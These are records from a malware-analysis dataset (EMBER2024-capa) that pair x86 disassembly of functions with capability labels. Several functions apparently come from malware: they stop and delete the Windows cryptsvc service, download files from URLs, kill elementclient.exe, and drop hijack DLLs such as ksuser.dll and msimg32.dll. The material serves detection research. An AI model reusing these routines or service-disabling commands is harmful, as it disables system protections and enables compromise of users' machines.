joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e60b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x70
mov esi, ecx
mov eax, dword [0x520014]
xor eax, ebp
mov dword [esp + 0x68], eax
xor eax, eax
push eax
push eax
push ecx
push 0x456c60
push eax
push eax
call fcn.0049d5d0
add esp, 0x18
mov ecx, esi
push eax
call fcn.0046c180
mov edi, dword [esi]
inc edi
cmp edi, 1
jbe 0x4e6108
cmp edi, 2
setae bl
mov ecx, dword [esp + 0x68]
xor ecx, ebp
call fcn.0048f468
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ebx, [esp + 4]
push eax
push ebx
call fcn.004bcc70
add esp, 8
lea esi, [esp + 0x10]
mov ecx, esi
push ebx
push 0x71
push str.InitializeThread
push 1
call fcn.004bca70
lea ecx, [esp + 0x4c]
push 0x5130e5
push str.Failed_to_create_thread_for_async_http_requests
call fcn.004b9460
mov ecx, esi
call fcn.004bcab0
cmp byte [ebx + 0xb], 0
jns 0x4e60ed
push dword [esp + 4]
call fcn.0048e90d
add esp, 4
jmp 0x4e60ed

Function at 0x4e67e0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov esi, ecx
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
push ebx
call fcn.004a81e6
add esp, 4
add eax, eax
add eax, 2
push eax
push ebx
push 1
push 0
push edi
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop esi
pop edi
pop ebx
pop ebp
ret 8
Function at 0x69c7e0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0
jmp 0x69c805
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0xc]
jae 0x69c878
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 8]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
shr eax, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0x69c83a
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 8
jge 0x69c86d
mov edx, dword [ebp - 0x10]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte [ebp - 0x15], dl
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x15]
test ecx, ecx
je 0x69c86b
mov edx, dword [ebp - 0x10]
xor edx, 0xedb88320
mov dword [ebp - 0x10], edx
jmp 0x69c831
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x69c7fc
mov eax, dword [ebp - 8]
not eax
mov esp, ebp
pop ebp
ret
Function at 0x403088
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x409014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403120
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403100
xor eax, eax
push ebp
push 0x4030f9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40313c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403100
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x409014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x409014], ax
mov esp, ebp
pop ebp
ret
Function at 0x404368
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call fcn.00401108
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404598
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4043eb
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404598
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4043eb
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4045b4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404474
xor eax, eax
push ebp
push 0x40446d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.004041b0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404452
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4045d4
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404452
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404474
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call fcn.00401140
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call fcn.00401128
push eax
call fcn.00401100
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x40458e
cmp byte [ebp - 0xd], 0
jne 0x4044bb
cmp byte [ebp - 0x12], 0
je 0x40458e
lea eax, [ebp - 0x11d]
push eax
call fcn.00401148
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x4044d4
dec ebx
cmp byte [ebx], 0x2e
je 0x4044e3
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x4044d3
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x40458e
inc ebx
cmp byte [ebp - 0x12], 0
je 0x404520
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call fcn.00401140
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call fcn.00401130
mov esi, eax
test esi, esi
jne 0x40458e
cmp byte [ebp - 0xd], 0
je 0x40458e
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call fcn.00401140
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call fcn.00401130
mov esi, eax
test esi, esi
jne 0x40458e
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call fcn.00401140
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call fcn.00401130
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407188
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe90
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x407343
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
mov ebx, dword [eax - 4]
cmp dword [ebx + 0x14], 0
jne 0x4071d9
lea edx, [ebp - 4]
mov eax, dword [0x409418]
call fcn.004046cc
jmp 0x4071e6
lea edx, [ebp - 4]
mov eax, dword [0x4093ac]
call fcn.004046cc
mov esi, dword [ebx + 0x18]
push 0x1c
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebx + 0xc]
push eax
call sub.KERNEL32.DLL_GetThreadLocale
cmp dword [ebp - 0x10], 0x1000
jne 0x4072b8
push 0x105
lea eax, [ebp - 0x125]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.KERNEL32.DLL_GetDiskFreeSpaceA
test eax, eax
je 0x4072b8
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0x148], eax
mov byte [ebp - 0x144], 5
lea eax, [ebp - 0x150]
lea edx, [ebp - 0x125]
mov ecx, 0x105
call fcn.00403d9c
mov eax, dword [ebp - 0x150]
lea edx, [ebp - 0x14c]
call fcn.00405a00
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x140], eax
mov byte [ebp - 0x13c], 0xb
mov eax, dword [ebp - 4]
mov dword [ebp - 0x138], eax
mov byte [ebp - 0x134], 0xb
mov dword [ebp - 0x130], esi
mov byte [ebp - 0x12c], 5
lea eax, [ebp - 0x148]
push eax
push 3
lea edx, [ebp - 0x154]
mov eax, dword [0x4093d4]
call fcn.004046cc
mov ecx, dword [ebp - 0x154]
mov dl, 1
mov eax, dword [0x405438]
call fcn.00406db0
mov ebx, eax
jmp 0x407312
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0x16c], eax
mov byte [ebp - 0x168], 5
mov eax, dword [ebp - 4]
mov dword [ebp - 0x164], eax
mov byte [ebp - 0x160], 0xb
mov dword [ebp - 0x15c], esi
mov byte [ebp - 0x158], 5
lea eax, [ebp - 0x16c]
push eax
push 2
lea edx, [ebp - 0x170]
mov eax, dword [0x4093b0]
call fcn.004046cc
mov ecx, dword [ebp - 0x170]
mov dl, 1
mov eax, dword [0x405438]
call fcn.00406db0
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40734a
lea eax, [ebp - 0x170]
call fcn.00403b48
lea eax, [ebp - 0x154]
mov edx, 3
call fcn.00403b6c
lea eax, [ebp - 4]
call fcn.00403b48
ret

Function at 0x40771c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x407780
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetCPInfo
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00403d9c
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_DeleteFileA
mov edx, eax
pop eax
call fcn.00405908
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407787
lea eax, [ebp - 0xc]
call fcn.00403b48
ret
Function at 0x408398
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov eax, 0x408340
call fcn.00404984
mov ebx, 0x40a7cc
xor eax, eax
push ebp
push 0x408592
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x4085a4
xor edx, edx
push ebp
push 0x408573
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 0
push 0x4085c0
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
push 0x1388
call sub.KERNEL32.DLL_LoadLibraryExA
xor edx, edx
mov eax, 0x4085d4
call fcn.00405938
test eax, eax
jne 0x40840d
call fcn.00405990
push 0
call sub.KERNEL32.DLL_lstrcpynA
jmp 0x408569
mov edx, 0x4085d4
mov eax, ebx
call fcn.00402978
mov eax, ebx
call fcn.00402714
call fcn.0040262c
mov edx, 0x40a7a4
mov eax, ebx
call fcn.00402be0
mov eax, ebx
call fcn.00402c4c
call fcn.0040262c
mov edx, 0x40a7a8
mov eax, ebx
call fcn.00402be0
mov eax, ebx
call fcn.00402c4c
call fcn.0040262c
mov edx, 0x40a7ac
mov eax, ebx
call fcn.00402be0
mov eax, ebx
call fcn.00402c4c
call fcn.0040262c
mov edx, 0x40a7b0
mov eax, ebx
call fcn.00402be0
mov eax, ebx
call fcn.00402c4c
call fcn.0040262c
mov edx, 0x40a7b4
mov eax, ebx
call fcn.00402be0
mov eax, ebx
call fcn.00402c4c
call fcn.0040262c
mov edx, 0x40a7b8
mov eax, ebx
call fcn.00402be0
mov eax, ebx
call fcn.00402c4c
call fcn.0040262c
mov edx, 0x40a7bc
mov eax, ebx
call fcn.00402be0
mov eax, ebx
call fcn.00402c4c
call fcn.0040262c
mov edx, 0x40a7c0
mov eax, ebx
call fcn.00402be0
mov eax, ebx
call fcn.00402c4c
call fcn.0040262c
mov edx, 0x40a7c4
mov eax, ebx
call fcn.00402be0
mov eax, ebx
call fcn.00402c4c
call fcn.0040262c
mov edx, 0x40a7c8
mov eax, ebx
call fcn.00402be0
mov eax, ebx
call fcn.00402c4c
call fcn.0040262c
mov eax, ebx
call fcn.00402a34
call fcn.0040262c
mov esi, 0xa
mov ebx, 0x40a7a4
push 0
push 0
push 0x4085e0
mov eax, dword [ebx]
call fcn.00403ea0
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
push 0x2af8
call sub.KERNEL32.DLL_LoadLibraryExA
push 0
push 0x4085e0
call sub.KERNEL32.DLL_lstrlenA
mov eax, 0x4085f4
call fcn.00405998
add ebx, 4
dec esi
jne 0x40852b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x408584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408599
ret
Function at 0x401430
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x508
test eax, eax
push ebp
mov ebp, dword [esp + 0x510]
push esi
push edi
je 0x4014f6
mov eax, dword [0x40f50c]
mov dword [esp + 0xc], 0
test eax, eax
jle 0x4014ac
mov edi, 0x40f510
mov esi, ebp
mov eax, edi
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40148a
test cl, cl
je 0x401486
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40148a
add eax, 2
add esi, 2
test cl, cl
jne 0x401466
xor eax, eax
jmp 0x40148f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4014ea
mov eax, dword [esp + 0xc]
mov ecx, dword [0x40f50c]
inc eax
add edi, 0x104
cmp eax, ecx
mov dword [esp + 0xc], eax
jl 0x401462
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.elementclient.exe
push ebp
lea eax, [esp + 0x18]
push str._s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4014f6
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x508
ret
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.elementclient.exe
stosb byte es:[edi], al
call fcn.00402fd0
mov eax, dword [0x40f50c]
mov edi, ebp
mov edx, eax
or ecx, 0xffffffff
shl edx, 6
add edx, eax
inc eax
mov dword [0x40f50c], eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [edx*4 + 0x40f510]
mov eax, ecx
mov esi, edi
mov edi, edx
push str.ksuser.dll
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebp
and ecx, 3
push str._s_s
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x124]
push ecx
call esi
lea edx, [esp + 0x128]
push edx
call fcn.00402f10
add esp, 0x18
lea eax, [esp + 0x114]
push 0
push eax
push 0x411590
call dword [0x40ea08]
push str.midimap.dll
push ebp
lea ecx, [esp + 0x11c]
push str._s_s
push ecx
call esi
lea edx, [esp + 0x124]
push edx
call fcn.00402f10
add esp, 0x14
lea eax, [esp + 0x114]
push 0
push eax
push 0x411590
call dword [0x40ea08]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x114]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.msimg32.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x114]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00402f10
add esp, 4
lea ecx, [esp + 0x114]
push 0
push ecx
push 0x411590
call dword [0x40ea08]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x508
ret
Function at 0x401b60
Capabilities:
Get disk information

Disassembly:
sub esp, 0x248
push ebx
push ebp
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
xor ebp, ebp
push eax
push 0x104
call dword [0x40ea38]
mov al, byte [esp + 0x14]
lea ebx, [esp + 0x14]
test al, al
je 0x401bef
lea ecx, [esp + 0x118]
mov dword [esp + 0x10], ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x401bdf
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebp
add eax, 0xa
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x10], eax
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ebx, [ebx + eax + 1]
cmp byte [ebx], 0
jne 0x401ba8
test ebp, ebp
jle 0x401c1b
mov edi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
lea eax, [ebp + ebp*4]
lea esi, [esp + eax*2 + 0x10e]
push esi
call edi
cmp eax, 3
jne 0x401c15
push esi
call fcn.00401990
add esp, 4
sub esi, 0xa
dec ebp
jne 0x401c04
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x248
ret

Function at 0x401e80
Capabilities:
Create process on windows

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_WinExec]
push 0
push str.net_stop_cryptsvc
call esi
push 0
push str.sc_config_cryptsvc_start_disabled
call esi
push 0
push str.sc_delete_cryptsvc
call esi
pop esi
ret
Function at 0x401eb0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x410
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], bl
mov byte [esp + 0x10], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x31c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x31d]
mov byte [esp + 0x218], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x219]
lea edx, [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x40f0f4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40d71c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x114]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x424]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push esi
push eax
lea ecx, [esp + 0x18]
push str._s_s
push ecx
call edi
lea edx, [esp + 0x124]
push esi
push edx
push str._syu_s
lea eax, [esp + 0x234]
push eax
call edi
add esp, 0x20
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401fdc
lea edx, [esp + 0x218]
push ebx
lea eax, [esp + 0x14]
push edx
push eax
call dword [0x40ea08]
lea ecx, [esp + 0x10]
push ecx
call fcn.00402f10
add esp, 4
lea edx, [esp + 0x10]
push ebx
push edx
push 0x411590
call dword [0x40ea08]
lea eax, [esp + 0x114]
push esi
push eax
lea ecx, [esp + 0x324]
push str._sdllcache_s
push ecx
call edi
lea edx, [esp + 0x32c]
push edx
call fcn.00402f10
add esp, 0x14
lea eax, [esp + 0x31c]
lea ecx, [esp + 0x10]
push ebx
push eax
push ecx
call dword [0x40ea08]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x410
ret
Function at 0x402320
Capabilities:
Create process on windows
Enumerate gui resources
Terminate process

Disassembly:
sub esp, 0x2f0
push ebp
mov ebp, ecx
call fcn.004026e0
call fcn.00402d30
call fcn.00401c30
test eax, eax
je 0x40247b
push str.elementclient.exe
call fcn.00402e00
add esp, 4
test eax, eax
je 0x40236e
push str.elementclient.exe
call fcn.00402fd0
add esp, 4
test eax, eax
jne 0x40236e
push eax
push 0x402280
call dword [sym.imp.USER32.dll_EnumWindows]
call fcn.00401d00
lea eax, [esp + 0x260]
mov dword [esp + 0x260], 0x94
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
call fcn.00401720
call fcn.00401820
call fcn.004020d0
cmp eax, 1
jne 0x4023a5
call fcn.00401b60
call fcn.00402050
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x61]
mov byte [esp + 0x60], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x165]
mov byte [esp + 0x164], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
push 0x40f0f4
lea ecx, [esp + 0x64]
push str._s_rundll32.exe
push ecx
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
call esi
push 0x40f1f8
push 0x411590
lea edx, [esp + 0x178]
push str.__s__ServerMain__s
push edx
call esi
add esp, 0x1c
lea eax, [esp + 0x50]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x164]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ecx, dword [ebp + 0x20]
push 0
push ecx
call dword [sym.imp.USER32.dll_SetParent]
push eax
call sub.MFC42.DLL_CWnd::FromHandle
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
pop ebp
add esp, 0x2f0
ret
Function at 0x402d30
Capabilities:
Get common file path

Disassembly:
push esi
push edi
push 0x104
push 0x40f0f4
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x104
push 0x40eff0
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x40eeec
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x104
push 0x40f1f8
push 0
call esi
mov eax, dword [0x40f504]
mov edi, dword [sym.imp.MSVCRT.dll__strlwr]
test eax, eax
je 0x402d9c
push 0x104
push 0x40f400
push eax
call esi
push 0x40f400
call edi
add esp, 4
push 0x40f1f8
call edi
push 0x40f1f8
call fcn.00402de0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x40f2fc
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret

Function at 0x402f10
Capabilities:
Check if file exists
Delete file
Get common file path
Get file attributes
Move file

Disassembly:
sub esp, 0x208
push esi
mov esi, dword [esp + 0x210]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push esi
call edi
cmp eax, 0xffffffff
je 0x402fb8
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push esi
call edi
cmp eax, 0xffffffff
je 0x402fb8
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10c]
push 0
push eax
push esi
call fcn.00402e90
add esp, 0xc
lea ecx, [esp + 8]
lea edx, [esp + 0x10c]
push ecx
push 0
push str.TEMP
push edx
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
lea eax, [esp + 8]
push 1
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_MoveFileExA]
call esi
push 4
lea ecx, [esp + 0xc]
push 0
push ecx
call esi
pop edi
pop esi
add esp, 0x208
ret

Function at 0x402fd0
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_OpenProcess]
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
push edi
mov edi, dword [esp + 0x14]
push edi
call fcn.00402e00
add esp, 4
mov esi, eax
push esi
push 0
push 1
call ebx
test eax, eax
je 0x403014
push 0
push eax
call ebp
test eax, eax
je 0x403014
test esi, esi
je 0x40301b
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x402fe4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret